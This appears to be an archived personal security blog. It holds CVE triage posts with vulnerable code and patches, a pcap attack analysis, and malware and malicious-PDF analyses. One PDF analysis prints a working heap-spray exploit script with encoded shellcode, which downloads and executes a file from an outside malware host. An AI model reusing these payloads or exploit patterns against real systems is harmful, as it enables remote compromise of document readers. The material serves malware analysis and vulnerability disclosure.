Overflow

multiple vulnerabilities in taglib

2012-03-02T22:13:00.002-08:00

Dhanesh K. and myself have uncovered multiple vulnerabilities that can be triggered in taglib - a library used by vlc, amarok and other players for metadata tag parsing.

Timeline :-
February 29th, March 3 - Vulnerability discovery, contacting main developers, filing launchpad
bug(security bugs are private by default, unless made public later on)
March 4 - Ack from developer, asking us to post details to the taglib mailing list.
Details posted.
March 4 - 2 bugs patched, PoC ogg files sent for resolving the other two bugs
March 4 - Other bugs confirmed on latest release, however, does not crash on dev head.
March 4 - Request for CVE
March 6 - CVE-2012-1107 and CVE-2012-1108 assigned

Related links :-
LP bug
Taglib mailing list discussion

some pcap analysis - CVE-2003-0533

2012-02-28T04:40:00.000-08:00

I had a look at pcap file from a honeynet challenge and it was quite interesting. Its about analyzing an attack which has taken place, having to figure out the vulnerability etc. There are 2 hosts involved, A(98.114.205.102) and B(192.150.11.111).

Looking at the pcap, lets start by tracing the tcp streams quickly. Looking at the hex representation of the stream(A=>B), you see lots of nops; it seems we have some shellcode in between the same.

The second TCP stream(A=>B) also seems to have something interesting for us.

Certain FTP commands seem to be written into the file "o" and the ftp client seems to be getting invoked in order to execute the commands in the file "o", which involve logging in, getting a file and quitting. After that the downloaded file is run. This is

The third TCP stream seems to have relevant data flowing both ways. The Blue indicates A=>B and Red indicates vice versa.

Haha, that was funny. :) So, as expected a file seems to be transferred. At this point, I'd guess the next TCP stream to be an executable of some sort; the "smss.exe" shown above.

Looking at the hexdump of the file, we can see that the file starts with "MZ" - the file format signature for PE files.

A bit of guessing :-
Everything you just saw, happened in a timespan of 16 seconds which is quite quick. Also, you can do an OS detection on the packets involved and notice that A is a Windows machine(an infected machine?) while B is a Linux machine(honeypot?).
In order to identify the vulnerability, I had another look at the protocols and ports involved in the first tcp stream. Around packet 28(in stream 1), you have a DCERPC request, you have the shellcode being sent, and you have a DsRoleUpgradeDownlevelServer request. Making a few searches we get that, this and this suggesting that we are dealing with a case of CVE-2003-0533.

just a few tshark commands

2012-02-28T02:14:00.003-08:00

Just a few tshark commands to get you some information on a pcap file involved.

List the hosts involved(if you need a guess the canonical name, dont use "-n")

tshark -r my.pcap -z ip_hosts,tree -qn

Try out OS fingerprinting on the hosts involved in the pcap by doing

p0f -s my.pcap -N

if you wanna see the sessions involved, you can do

tshark -r my.pcap -qnz conv,tcp

To view information about the pcap files like details about the duration across which the packets were captured, you could do :-

capinfos attack-trace.pcap

CVE-2011-4612 and icecast2

2012-02-20T09:41:00.000-08:00

The vulnerability allows a person to modify whats written into a logfile by crafting a certain GET request to the icecast2 server. You can view the CVE details here and the bug details here.

The code involved is in the fserve_client_create function inside src/fserve.c.

412 fullpath = util_get_path_from_normalised_uri (filtered_path);
413 INFO2 ("checking for file %s (%s)", filtered_path, fullpath);
414 free(filtered_path);
415
416 if (strcmp (util_get_extension (fullpath), "m3u") == 0)
417 m3u_requested = 1;
418
419 if (strcmp (util_get_extension (fullpath), "xspf") == 0)
420 xspf_requested = 1;
421
422 /* check for the actual file */
423 if (stat (fullpath, &file_buf) != 0)
424 {
425 /* the m3u can be generated, but send an m3u file if available */
426 if (m3u_requested == 0 && xspf_requested == 0)
427 {
428 WARN2 ("req for file \"%s\" %s", fullpath, strerror (errno));
429 client_send_404 (httpclient, "The file you requested could not be found");
430 free (fullpath);

As this is a newline injection vuln, removing occurances of '\r', '\n' could solve the issue.

25 + int i;
26 + char *filtered_path;
27 .
28 - fullpath = util_get_path_from_normalised_uri (path);
29 - INFO2 ("checking for file %s (%s)", path, fullpath);
30 + /* Remove occurances of '\r' and '\n', if any */
31 + filtered_path = (char *)malloc(strlen(path));
32 + for(i=0; path[i]!='\0'; ++i) {
33 + if(path[i] == '\r' || path[i] == '\n') {
34 + filtered_path[i] = '\0';
35 + break;
36 + }
37 + else
38 + filtered_path[i] = path[i];
39 + }
40 +
41 + fullpath = util_get_path_from_normalised_uri (filtered_path);
42 + INFO2 ("checking for file %s (%s)", filtered_path, fullpath);
43 + free(filtered_path);

EDIT It was later decided that replacing '\r' and '\n' would be a much better option that truncating the strings, so a new patch has been uploaded.

CVE-2010-3076 and smbind

2012-02-18T06:48:00.000-08:00

This is just another issue I verified for Maverick - I did not write the patch/debdiff for the same. There does seem to be a upstream patch(debian lenny) for the same, so probably it'll be a fake sync rather than a patch in Ubuntu.

I just had a look at the highlighted packages for the week here and decided to look at the web frontend for BIND. You can view the CVE details here.

apt-get source the application, lets have a look at the "filter function in php/src/include.php".

22 if(isset($_POST['username']) && isset($_POST['password'])) {
23 if((!filter("alphanum", $_POST['username'])) or (!filter("alphanum", $_POST['password']))) {
24 die("Username and password must contain only letters and numbers.");
25 }
26 $_SESSION['username'] = $_POST['username'];
27 $_SESSION['password'] = $_POST['password'];
28 }
29
30 if(isset($_SESSION['username']) && isset($_SESSION['password'])) {
31 $res = $dbconnect->query("SELECT ID FROM users " .
32 "WHERE username = '" . $_SESSION['username'] .
33 "' AND password = '" . md5($_SESSION['password']) . "'"
34 );

Aand the filter function is as follows :-

95 function filter($type, $str, $empty = "yes") {
96 $regex['num'] = "([0-9])";
97 $regex['alphanum'] = "([A-Za-z0-9])";
98 if(ereg($regex[$type], $str)) {
99 return true;
100 }
101 elseif(empty($str)) {
102 if($empty == "yes") {
103 return true;
104 }
105 elseif($empty == "no") {
106 return false;
107 }
108 }
109 else {
110 return false;
111 }
112 }

Php isn't a favorite, so I just try using the php interpreter prompt.

$ php -a
Interactive shell
php > if(ereg("([A-Za-z0-9])", "ASDF123")) { echo "test"; }
test
php > if(ereg("([A-Za-z0-9])", "!@#$")) { echo "test"; }
php > if(ereg("([A-Za-z0-9])", "ASDF!@#$")) { echo "test"; }
test

The upstream(debian lenny) patch for the same is to use mysql_real_escape_string/pg_escape_string.

++ if ($dbtype == "mysql")
++ $_SESSION['username'] = mysql_real_escape_string($_POST['username']);
++ else
++ $_SESSION['username'] = pg_escape_string($_POST['username']);

CVE-2011-2921 and ktsuss

2012-02-14T08:50:00.000-08:00

ktsuss is a setuid that works more or less like a graphical "su". Lets install it on Maverick and play around with it.

Hmm.

What if...

O..k doesn't look good - not something I'd expect from a setuid binary(not this easily anyway). Looking at the CVE description, it seems that if the current user and the user which we specify in ktsuss are the same, the command runs with the EUID(with root privileges). :|
Yeah... thats bad. :|

equinox@VMubuntu:~$ ktsuss -u equinox whoami
root
Looking at the Debian discussion it seems like the package is being scheduled for removal - without providing any patches for the current version which has the package(Well, I think the responsible thing to do would be to remove the package and provide a patch for existing users).

So, unless I'm missing something obvious, the patch for this issue would be a seteuid(getuid()). You can view the LP bug for this issue here.

CVE-2010-3387 and vdrleaktest

2012-02-13T19:50:00.000-08:00

I recently helped triage and fix this one in Ubuntu(maverick) and thought of writing up a post about it. First of all, lets see how zero-length directories mess things up.

equinox@VMubuntu:~$ bash
equinox@VMubuntu:~$ export PATH=":"$PATH
equinox@VMubuntu:~$ echo $PATH
:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/opt/libemu/bin/:/opt/libemu/bin/
equinox@VMubuntu:~$ cat > x
echo test
equinox@VMubuntu:~$ chmod 755 x
equinox@VMubuntu:~$ x
test

At this point, I'm assuming that the behavior would be similar in the case of LD_LIBRARY_PATH too. Before we look at the CVE, lets grep around a bit and try to find where the loading of the so file actually takes place.

equinox@VMubuntu:~/cve-stuff/2010-3387/vdr-1.6.0$ egrep -r "dlopen" *

plugin.c:  handle = dlopen(fileName, RTLD_NOW);

Inside plugin.c we notice the following :-
154 cDll::cDll(const char *FileName, const char *Args)
155 {
156 fileName = strdup(FileName);
157 args = Args ? strdup(Args) : NULL;
158 handle = NULL;
159 plugin = NULL;
160 }

190 bool cDll::Load(bool Log)

191 {

192   if (Log)

193      isyslog("loading plugin: %s", fileName);

194   if (handle) {

195      esyslog("attempt to load plugin '%s' twice!", fileName);

196      return false;

197      }

198   handle = dlopen(fileName, RTLD_NOW);

equinox@VMubuntu:~/cve-stuff/2010-3387/vdr-1.6.0$ egrep -r "new cDll" *

plugin.c:  dlls.Add(new cDll(cString::sprintf("%s/%s%s%s%s", directory, LIBVDR_PREFIX, s, SO_INDICATOR, APIVERSION), Args));

As this was something from 2010, I assumed that it would be fixed in debian and searched around a bit and found this. A small part of the patch is as follows :-

diff -u vdr-1.6.0/debian/vdrleaktest vdr-1.6.0/debian/vdrleaktest
--- vdr-1.6.0/debian/vdrleaktest
+++ vdr-1.6.0/debian/vdrleaktest
@@ -65,7 +65,7 @@
 
 /etc/init.d/vdr stop
 
-LANG=C LD_LIBRARY_PATH="/usr/lib/debug:${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
+LANG=C LD_LIBRARY_PATH="/usr/lib/debug${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
    valgrind --tool=memcheck --leak-check=yes --num-callers=20 \
    --suppressions=/usr/share/vdr/valgrind.supp \
    /usr/bin/vdr-dbg -v $VIDEO_DIR -c $CFG_DIR -L $PLUGIN_DIR  -r $REC_CMD \

I decided to have a look at the maverick version of the same :-

equinox@VMubuntu:~/cve-stuff/2010-3387$ vim $(which vdrleaktest)

and found this instead.

 68 LANG=C LD_LIBRARY_PATH="/usr/lib/debug;$LD_LIBRARY_PATH" \

equinox@VMubuntu:~$ echo "/usr/lib/debug;$LD_LIBRARY_PATH" 
/usr/lib/debug;

While that does seem awkward and buggy it would have been a security vulnerability if you had a ":" instead of a ";" right? I searched around a bit more for confirmation and found this where what I had in mind was being discussed.

However, the fix proposed at the debian ML seemed vulnerable to me.

-LANG=C LD_LIBRARY_PATH="/usr/lib/debug;$LD_LIBRARY_PATH" \
+LANG=C LD_LIBRARY_PATH="/usr/lib/debug:${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
    valgrind --tool=memcheck --leak-check=yes --num-callers=20 \
    --suppressions=/usr/share/vdr/valgrind.supp \
    /usr/bin/vdr-dbg -v $VIDEO_DIR -c $CFG_DIR -L $PLUGIN_DIR  -r $REC_CMD \

Because if you did not have LD_LIBRARY_PATH set, you would have

equinox@VMubuntu:~$ echo "/usr/lib/debug:${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" /usr/lib/debug:

I'm not quite sure if its the right way to fix this bug; if the patch is not vulnerable I wont have to generate a defdiff, we would just need to do a fake sync. The LP bug can be viewed here.
[EDIT] After a discussion at LP I realized that the above mentioned fixed had made its way into the repository, and not a release; in that case I too found it unnecessary to request a CVE assignment. The current patch is as follows :-
+LANG=C LD_LIBRARY_PATH="/usr/lib/debug${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \

CVE-2011-0996 and dhcpcd

2012-02-13T06:14:00.000-08:00

Debian did not seem to have any discussion/patches on this one; however a bit of searching showed me that opensuse had fixed the issue. As reading a patch file would be a lot better use of my time that trying to rediscover it by reading the source fully, I did a bit more of searching and found this(check out the dhcpcd-3.2.3-option-checks.diff file).

As the name suggests, check_domain_name does the domain name sanitizing, making sure you dont have anything other than alphabets, numbers and dots, no two consecutive dots, no "_" or "-" at the start of the domain name, a total length < 255. Inside check_dhcp_option you have the rootpath being checked for symbols of any kind. If the message type was a DHCP_DNSSEARCH, then you are going to need a sanitation check on each of the hostnames retrieved, and hence you have check_domain_name_list.

CVE-2012-0065 and usbmuxd

2012-02-11T22:46:00.000-08:00

While I have been involved in the triaging/patch creation for most CVE's(for Maverick) discussed here, this is one that I picked up because of sheer curiosity. I was not involved in triaging or bugfixing it. The fix was provided by Leo Iannacone.

Lets start off here; we can notice that versions after Maverick are affected. There is not much to explore as most of it has been discussed on various mailing lists and forums already; it seems like a case of a straightforward heap overflow to me.

Check out the diff here if you are curious.

CVE-2010-4000 and gnome-shell

2012-02-11T22:18:00.000-08:00

You can view a description of the issue here. From this we can understand that the error is in the exporting of the LD_LIBRARY_PATH. Get the source, try to locate the vuln quickly.

$ egrep -r "LD_LIBRARY_PATH" *

aclocal.m4: printf("*** by modifying your LD_LIBRARY_PATH enviroment variable, or by editing\n");

aclocal.m4: printf("*** modify your LD_LIBRARY_PATH enviroment variable, or edit /etc/ld.so.conf\n");

aclocal.m4: echo "*** LD_LIBRARY_PATH environment variable, or edit /etc/ld.so.conf to point"

aclocal.m4: echo "*** you may also be able to get things to work by modifying LD_LIBRARY_PATH" ],

...

src/gnome-shell.in: env['LD_LIBRARY_PATH'] = os.environ.get('LD_LIBRARY_PATH', '') + ':' + mozjs_libdir

Lets have a better look at src/gnome-shell.in.

232     pkgconfig = subprocess.Popen(['pkg-config', '--variable=sdkdir', 'mozilla-js'],

233                                  stdout=subprocess.PIPE)

234     mozjs_sdkdir = pkgconfig.communicate()[0].strip()

235     pkgconfig.wait()

236     if pkgconfig.returncode == 0:

237         mozjs_libdir = re.sub('-(sdk|devel)', '', mozjs_sdkdir)

238         if os.path.exists(mozjs_libdir + '/libmozjs.so'):

239             env['LD_LIBRARY_PATH'] = os.environ.get('LD_LIBRARY_PATH', '') + ':' + mozjs_libdir

Ok, so we have the return code check in line 236 so 233, 234 could not be the cause of the vulnerability. The regex just removes every occurrence of "-sdk" or "-devel". However, if LD_LIBRARY_PATH were not defined we would have something like :-

>>> import os

>>> env = {}

>>> env['LD_LIBRARY_PATH'] = os.environ.get('LD_LIBRARY_PATH', '') + ':' + mozjs_libdir

Traceback (most recent call last):

File "<stdin>", line 1, in <module>

NameError: name 'mozjs_libdir' is not defined

>>> mozjs_libdir = "/tmp/ladedaa"

>>> env['LD_LIBRARY_PATH'] = os.environ.get('LD_LIBRARY_PATH', '') + ':' + mozjs_libdir

>>> env

{'LD_LIBRARY_PATH': ':/tmp/ladedaa'}

The proper fix for this would be to check if there is an LD_LIBRARY_PATH and then set a new value.

You can view the Lauchpad bug/discussion here.

Ubuntu's symlink restriction

2012-02-09T21:04:00.000-08:00

I had a look at a CVE-2011-3618(you can view the launchpad discussion here) recently that was posted in the debian mailing lists. It was related to a symlink vulnerability in the atop package. You can view the proposed patch here.

The attack vector would be the ability to overwrite files by guessing the value of tmpname2. The patch would be to use mkstemp.

I just had a look at Ubuntu's security features(check out the one on symlink restrictions) and it seems that symlinks are not followed in world-writable directories, if the process and the directory owners are not the same as the symlink owner.

If you are curious about how this is implemented, its in the form for an LSM - the commit diff of which you can view here. Its implemented in the yama_inode_follow_link function.

unpackme-DFW_0x7d7.exe

2012-01-27T22:21:00.000-08:00

MD5 - c97d934f77f8b17da73d9396f23ee024

This particular unpackme has a tampered tElock packing - I read about an effective and quick way to go about unpacking it a while back. Surprisingly, the same method works quite a few of the packers/protectors out there, so I thought it'd be nice to document it here.

Start off by using the executable with Excphook.exe and counting the number of exceptions raised. Load the executable into Olly, set a breakpoint on KiUserExceptionDispatcher and run the executable. F9 through the breakpoints, count number of times(where count is the number of exceptions you came across in Excphook.exe).

Remove the breakpoint on KiUserExceptionDispatcher, set another on the code section of your executable.

F9 and viola, you're at the OEP.

The very same method works with tELock 0.98 with all options enabled and it seems to work just fine.

Spyeye function name hashing(masm32)

2011-12-15T02:39:00.000-08:00

In my last post I had written a C program to find the corresponding hashes of the function names - I spent the morning writing the same in masm32. The following code isn't that good though; i'm pushing and popping all registers just because im too lazy to lookup which registers get destroyed(print destroys ecx and edx?).

You can find the code here.

Spyeye function name hashing

2011-11-30T01:44:00.001-08:00

I have been analyzing SpyEye for a while now and like most malware/shellcode around today, it looks around for functions based on the hash of the name it calculates. Below is a small snippet the I used to figure out how the hashes map to various functions - its not much; an masm32 script that locates kernel32 from the InInitializationOrderModuleList, gets to the export table, then to the function names might be the better way to do this. In anycase, here goes :-

$ strings kernel32.dll | sort | uniq > kernel32names
$ cat findnames.c
#include<stdio.h>
#include<string.h>
char line[100];
int y;
char flag = 0;
int stuff =0 ;
void process() {
asm(".intel_syntax noprefix\n");
asm("mov ecx, offset line\n");
asm("mov edx, ecx\n");
asm("mov cl, [edx]\n");
asm("xor eax, eax\n");
asm("jmp A\n");
asm("A:\n");
asm("test cl, cl\n");
asm("jz B\n");
asm("movsx ecx, cl\n");
asm("rol eax, 7\n");
asm("xor eax, ecx\n");
asm("inc edx\n");
asm("mov cl, [edx]\n");
asm("jmp A\n");
asm("B:\n");
asm("mov ecx, offset stuff\n");
asm("mov [ecx], eax\n");
}
int main() {
FILE *fp = fopen("kernel32names", "r");
int ch;
int index = 0;
while((ch=getc(fp))!=EOF) {
if(ch == '\n') {
flag = 0;
line[index] = '\0';
index = 0;
y = 0xA48D6762;
process();
switch(stuff) {
case 0xA48D6762:
case 0x6E72656B:
case 0x32336C65:
case 0x6C6C642E:
case 0x6A582465:
case 0x20088E6A:
case 0x6C64746E:
case 0x4C44544E:
printf("stuff=%08x\t line=%s\n", stuff, line);
break;
}
stuff = 0;
}
else {
line[index] = ch;
++index;
}
}
}
$ gcc -o findnames findnames.c -masm=intel
$ ./findnames
stuff=a48d6762 line=GetModuleHandleA
stuff=20088e6a line=LoadLibraryExA
stuff=6a582465 line=VirtualQuery

Using NtGlobalFlag

2011-10-28T08:21:00.000-07:00

This is probably not the right way to go about implementing a NtGlobalFlag check in a exe; I looked around a bit but couldn't find anything else so I decided to go about using Ollydbg to do some manual patching. Like I said, probably not the best way - I just did this for fun. If you know a better way to do this, it would be awesome if you could take a few minutes and let me know in the comments section below.

I did not wanna write assembly from the scratch so I compiled the following code.

#include<stdio.h>

void blah() {

int x,y,z;

}

int main() {

blah();

printf("no debugger present\n");

return 0;

printf("debugger present\n");

getchar();

}

Did a binary patch and fill the rest with NOPs ...

and ran it ...

There are loads of posts out there describing ways to circumvent this - so yeah thats about it for this post.

[UPDATE]
Using inline assembly is probably the right way to go about doing this.

github repository

2011-10-16T12:29:00.000-07:00

From now on I've decided to upload all the malware analysis files into github repositories. Find them here.

analyzing e1730268df98c7877d16beda98839694.pdf

2011-10-14T10:40:00.000-07:00

md5 - e1730268df98c7877d16beda98839694

1. Strings
PDF version 1.3, xref table indicates 8 objects.

2. Running pdf.py
View output here. (https://gist.github.com/2c5c59d98143f06f071b)
object 3 contains javascript tag. object 5 and 7 are similar as follows.
obj 5 0:
tag Length = 54 (TAGVAL)
tag Filter (TAGVAL)
tag FlateDecode (ENDTAG)

obj 7 0:
tag Length = 586 (TAGVAL)
tag Filter (TAGVAL)
tag FlateDecode (ENDTAG)
However, pdf.py only detects javascript inside object 7.

3. Analyzing the javascript dump
Seems to be a typical heap overflow. The shellcode is obtained(https://gist.github.com/a2b4eb46c5c568b919a0).

4. Analyzing shellcode
Using distorm and some regex with python I get this(https://gist.github.com/c826e5fa89029f114b98).
0x00000000 (02) 2bc9 SUB ECX, ECX
0x00000002 (02) b11f MOV CL, 0x1f
0x00000004 (05) bd0c36c59b MOV EBP, 0x9bc5360c
0x00000009 (02) dbc5 FCMOVNB ST0, ST5
0x0000000b (04) d97424f4 FNSTENV [ESP-0xc]
0x0000000f (01) 5a POP EDX
0x00000010 (03) 83eafc SUB EDX, -0x4
0x00000013 (03) 316a0b XOR [EDX+0xb], EBP
0x00000016 (03) 036a07 ADD EBP, [EDX+0x7]
Ok so the decryption is going to change the instruction "ADD EBP, [EDX+0x7]". So, Ill just run the whole thing in libemu and check its output.

There seems to be to WinExec to execute "calc.exe" and to ExitProcess. However, it seems that there is some tampering with LdrData - to hide imported dlls? #TODO

analyzing 8008bf0a06a0ba4dca1c881f4955acc8

2011-10-13T13:36:00.000-07:00

Recently, I started analyzing pdf-malware. I got myself a pdf to analyze from malwaredomainlist.com; the hash of the pdf is 8008bf0a06a0ba4dca1c881f4955acc8.

1. Strings
To be honest, there wasn't much I could make sense of - the only piece of information I obtained was that it adhered to PDF 1.5 specification by looking at its header. Also I get the cross reference table.

2. I used the pdf.py we get along with jsunpack to get the following output :-

parsing 8008bf0a06a0ba4dca1c881f4955acc8.pdf
obj 1 0:
tag Type (TAG)
tag Catalog (TAG)
tag Outlines = 2 0 R (TAGVAL)
tag Pages = 3 0 R (TAGVAL)
tag OpenAction = 5 0 R (ENDTAG)
obj 2 0:
tag Type (TAG)
tag Outlines (TAG)
tag Count = 0 (ENDTAG)
obj 3 0:
tag Type (TAG)
tag Pages (TAG)
tag Kids = 4 0 R] (TAGVAL)
tag Count = 1 (ENDTAG)
obj 4 0:
tag Type (TAG)
tag Page (TAG)
tag Parent = 3 0 R (TAGVAL)
tag MediaBox = 0 0 612 792] (ENDTAG)
obj 5 0:
tag Type (TAG)
tag Action (TAG)
tag S (TAG)
tag JavaScript (TAG)
tag JS = 6 0 R (ENDTAG)
obj 6 0:
tag Length = 2317 (TAGVAL)
tag Filter (TAGVAL)
tag FlateDecode (TAG)
tag ASCIIHexDecode (ENDTAG)
obj trailer:
tag Size = 7 (TAGVAL)
tag Root = 1 0 R (ENDTAG)
Found JavaScript (delayed) in 1 0 (0 bytes)
children [['Outlines', '2 0'], ['Pages', '3 0'], ['OpenAction', '5 0']]
tags [['TAG', 'Type', ''], ['TAG', 'Catalog', ''], ['TAGVAL', 'Outlines', '2 0 R'], ['TAGVAL', 'Pages', '3 0 R'], ['ENDTAG', 'OpenAction', '5 0 R']]
indata = <</T#79#70#65/C#61#74a#6c#6fg/Ou#74#6c#69n#65#73 2 0 R/Pag#65s 3 0 R/#4fp#65#6e#41#63t#69#6f#6e 5 0
Found JavaScript (delayed) in 5 0 (0 bytes)
children [['JS', '6 0']]
tags [['TAG', 'Type', ''], ['TAG', 'Action', ''], ['TAG', 'S', ''], ['TAG', 'JavaScript', ''], ['ENDTAG', 'JS', '6 0 R']]
indata = <</#54ype/Ac#74#69#6f#6e/#53/Jav#61S#63#72ip#74/#4a#53 6 0 R>>
Found JavaScript in 6 0 (2090 bytes)
children []
tags [['TAGVAL', 'Length', '2317'], ['TAGVAL', 'Filter', ''], ['TAG', 'FlateDecode', ''], ['ENDTAG', 'ASCIIHexDecode', '']]
indata = <</Le#6eg#74h 2317/F#69lt#65#72[/#46late#44#65#63#6fd#65/A#53C#49IHex#44#65#63#6f#64e]>>streamxYY6 q
Wrote JavaScript (2177 bytes -- 87 headers / 2090 code) to file 8008bf0a06a0ba4dca1c881f4955acc8.pdf.out

Ok, so I haven't had to do much - the javascript in this file has been decompressed and written out to another file.

Here's what I get :-

c = []; zzzpages.push(c); this.numPages = zzzpages.length;

//jsunpack End PDF headers
var qdxIsPARawijkD = unescape("%uc3db%u74d9%uf424%u3158%ubbc9%ub4e1%u9ca2%u5eb1%u5831%u8318%u04c0%u5803%u56f5%u7757%ucce5%ubbd2%u97cc%u875b%ud7cf%uf2a8%u3556%ue92a%u526d%u1120%u5d92%ua2c7%u3bf5%uf8b1%u04f8%u676b%uec9b%u4179%u1c0e%uf497%u3304%u66be%u7276%u6352%u66d3%uf4bf%u1dfa%ue955%u981b%u6f30%u0cf1%udac9%u7d81%ud21c%u247b%u813b%u4369%ud1cf%uf94d%u3310%u3edc%ud1a8%u2380%u9de9%u9c4c%ua5d4%u48be%uf6cb%uea03%u40b1%u9103%ufb1e%u5aa3%u6a8c%u7a51%u1634%udc0f%ubc4f%u8435%u5bbd%u6fd3%u38d0%ue1f1%ue1ce%uef62%ueea7%ud011%ud849%u48b0%uc030%ufe9d%u3a88%u3147%u066b%u8c95%u1087%u7f59%ub8cc%u19c0%ue416%ud678%u03f8%uf0db%u57ea%uac3a%u50ea%uc726%u4db5%ud413%ubb7f%ud4fd%u62f5%u739c%u6230%u7f29%u4ee5%u1dcf%u8dfb%u8476%u3456%u7e41%u086c%ue798%uf2bf%uad08%u37f6%ue34a%u0160%u35f4%u3b1f%ufca1%u62fc%u9fbd%u5f34%uaaf2%u2ba3%uebcf%ud71e%u41b8%u7d07%u2937%ue7de%u8bd1%u05e3%udfd4%u2cea%ue23e%u3aee%uf742%u24fb%uf464%u9c11%uef78%udd07%u2d8c%uf527%u3490%ufc25%u2983%u986e%u5a9d%u4778%u67c0%ue17d%u79de%uff72%u8813%ufc98%u9653%u28c6%u9155%u0704%u9969%u501c%ube62%u383b%ud498%ucf49%udc96%ufc2b%uf69d%u0b91%u0ecf%u02dc%u0cf7%u1dd2%u1fd8%u1d18%u463e%uaa8b%u09ca%u7c76%u9d1d%uf5f1%u1b4f%u8c9b%ueffc%u1906%u6267%u8be7%uf602%u30d8%u9aad%u9945%u1b48%u65ef");
var EdDashDIgmMARzTFDgSvTTZUlJuZmRU = unescape("%u0c0c%u0c0c");
var TyhHR = unescape("%u0c0c%u0c0c%u4367%u6345%u6958%u6c69%u5859%u704e%u444d%u594f%u784e%u6353%u5457%u784e%u6972%u7265%u5a7a%u6852%u5157%u6d62%u6879%u6c77%u6e55%u5356%u7242%u6648%u456b%u6a58%u6f79%u7a45%u7874%u5456%u6c66%u7844%u764b%u6574");

while(EdDashDIgmMARzTFDgSvTTZUlJuZmRU.length <= 32768) EdDashDIgmMARzTFDgSvTTZUlJuZmRU+=EdDashDIgmMARzTFDgSvTTZUlJuZmRU;
EdDashDIgmMARzTFDgSvTTZUlJuZmRU=EdDashDIgmMARzTFDgSvTTZUlJuZmRU.substring(0,32768 - qdxIsPARawijkD.length);

memory=new Array();

for(i=0;i<0x2000;i++) {
memory[i]= EdDashDIgmMARzTFDgSvTTZUlJuZmRU + qdxIsPARawijkD;
}

util.printd("LvdryEwfMTmeCphVejMYFrqjrtGAtOoXRupB", new Date());
util.printd("ZnKRrNewyQTUFCwqObcZXLUsCASjMnaXIElD", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd(TyhHR, new Date());

A few observations:-

so "%u0c0c%u0c0c" suggests that its a nop sled for a heap overflow. The "while" loop seems to be constructing a nop sled of length 32768. "qdxIsPARawijkD" seems to be the shellcode that seems to do the nasty work.
Just before the "//jsunpack END PDF headers" you have some stuff thats added automatically by "pdf.py". From what I have read so far, it seems that you would need to include that information for the exploit to load up, when you try running the js using something like SeaMonkey.

3. Finding the javascript entrypoint
I used pdf-parser by Didier Stevens; following is part of the output.

obj 1 0
Type: /Catalog
Referencing: 2 0 R, 3 0 R, 5 0 R
[(2, '<<'), (2, '/T#79#70#65'), (2, '/C#61#74a#6c#6fg'), (2, '/Ou#74#6c#69n#65#73'), (1, ' '), (3, '2'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/Pag#65s'), (1, ' '), (3, '3'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '/#4fp#65#6e#41#63t#69#6f#6e'), (1, ' '), (3, '5'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '>>')]

<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 5 0 R
>>

obj 5 0
Type: /Action
Referencing: 6 0 R
[(2, '<<'), (2, '/#54ype'), (2, '/Ac#74#69#6f#6e'), (2, '/#53'), (2, '/Jav#61S#63#72ip#74'), (2, '/#4a#53'), (1, ' '), (3, '6'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '>>')]

<<
/Type /Action
/S /JavaScript
/JS 6 0 R
>>

obj 6 0
Type:
Referencing:
Contains stream
[(2, '<<'), (2, '/Le#6eg#74h'), (1, ' '), (3, '2317'), (2, '/F#69lt#65#72'), (2, '['), (2, '/#46late#44#65#63#6fd#65'), (2, '/A#53C#49IHex#44#65#63#6f#64e'), (2, ']'), (2, '>>'), (1, '\r\n')]

<<
/Length 2317
/Filter [
/FlateDecode /ASCIIHexDecode]
>>

As you can see above the /OpenAction is set to the object which contains the Javascript; so that js should execute without any user intervention. "/OpenAction" is obfuscated as "/#4fp#65#6e#41#63t#69#6f#6e" - so its pretty useful to have pdf-parser here.

4. Understanding the shellcode

In order to understand the shellcode I used distorm and some regex in python. The disassembly is as follows:-

0x00000000 (02) dbc3 FCMOVNB ST0, ST3
0x00000002 (04) d97424f4 FNSTENV [ESP-0xc]
; this is used as part of GetPC
0x00000006 (01) 58 POP EAX
; at this point eax will have the eip.
0x00000007 (02) 31c9 XOR ECX, ECX
; ecx set to 0
0x00000009 (05) bbe1b4a29c MOV EBX, 0x9ca2b4e1
0x0000000e (02) b15e MOV CL, 0x5e
; counter set to 94
0x00000010 (03) 315818 XOR [EAX+0x18], EBX
; instruction at eax+0x18 are xored with 0x9ca2b4e1
0x00000013 (03) 83c004 ADD EAX, 0x4
0x00000016 (03) 0358f5 ADD EBX, [EAX-0xb]
0x00000019 (01) 56 PUSH ESI
0x0000001a (01) 57 PUSH EDI
0x0000001b (02) 77e5 JA 0x2
[truncated]

Ok, so 0x18 = 24, the offset of 24 in between the instruction "XOR [EAX+0x18], EBX".

Analyzing the above shown assembly would be a lot faster if I could just run it somehow. Enter sctest from libemu. Skimming through the whole thing gives me a lot of xoring + loop statements. Towards the end I can see the imported functions being called and that helps get an idea of what the shellcode is attempting to do.

FARPROC WINAPI GetProcAddress (
HMODULE hModule = 0x7df20000 =>
none;
LPCSTR lpProcName = 0x0041715b =>
= "URLDownloadToFileA";
) = 0x7df7b0bb;
UINT GetSystemDirectory (
LPTSTR lpBuffer = 0x00416fb2 =>
= "c:\WINDOWS\system32";
UINT uSize = 32;
) = 19;
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = 0x00000000 =>
none;
LPCTSTR szURL = 0x0041716e =>
= "http://www.zeus4ever.net/calc.exe";
LPCTSTR szFileName = 0x00416fb2 =>
= "c:\WINDOWS\system32\a.exe";
DWORD dwReserved = 0;
LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0x00416fb2 =>
= "c:\WINDOWS\system32\a.exe";
UINT uCmdShow = 0;
) = 32;
void ExitThread (
DWORD dwExitCode = 32;
) = 0;

a.exe is downloaded from "http://www.zeus4ever.net/calc.exe" and stored at "c:\WINDOWS\system32\a.exe" and executed. Of course, the executable is not available now so, guess thats it.

5. Finding out the vulnerability exploited
